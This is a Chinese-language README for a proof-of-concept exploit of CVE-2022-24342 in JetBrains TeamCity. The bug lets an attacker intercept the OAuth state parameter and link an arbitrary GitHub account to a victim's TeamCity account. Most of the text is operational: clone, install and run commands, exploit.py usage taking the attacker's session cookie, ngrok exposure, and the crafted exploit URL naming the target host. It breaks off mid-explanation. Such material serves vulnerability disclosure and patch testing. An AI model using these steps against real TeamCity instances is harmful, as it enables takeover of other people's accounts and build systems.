JetBrains TeamCity - 通过 GitHub 认证中的 CSRF 实现账户接管(PoC)
尝试使用攻击者的 GitHub 账户登录目标 TeamCity 实例,以使 TeamCity 的 GitHub 应用获得授权。
安装并运行:
$ git clone https://github.com/yuriisanin/CVE-2022-24342
$ cd CVE-2022-24342/
$ pip3 install -r requirements.txt
$ python3 exploit.py -h
usage: exploit.py [-h] -s S [-p P]
optional arguments:
-h, --help show this help message and exit
-s S GitHub user session
-p P Uvicorn port
$ python3 exploit.py -s {attackers_github_session_cookie}
如果在本地机器上运行该漏洞利用工具,你可能需要使用 Ngrok 或替代方案。
$ ngrok http 8000
homepage: "http://{exploit-host}:8000"
authorization callback url: "http://{exploit-host}:8000/callback"
http://{exploit-host}:8000/exploit?target_host=http://{target-host}&gh_client_id={github_oauth_client_id}
演示:
TeamCity 在 OAuth2 流程中存在查询参数注入漏洞,使得攻击者能够将用户重定向到任意 GitHub OAuth2 应用,拦截有效的 state 参数,并将任意 GitHub 账户连接到受害者的 TeamCity 账户。
该漏洞之所以可行,基于以下两点:

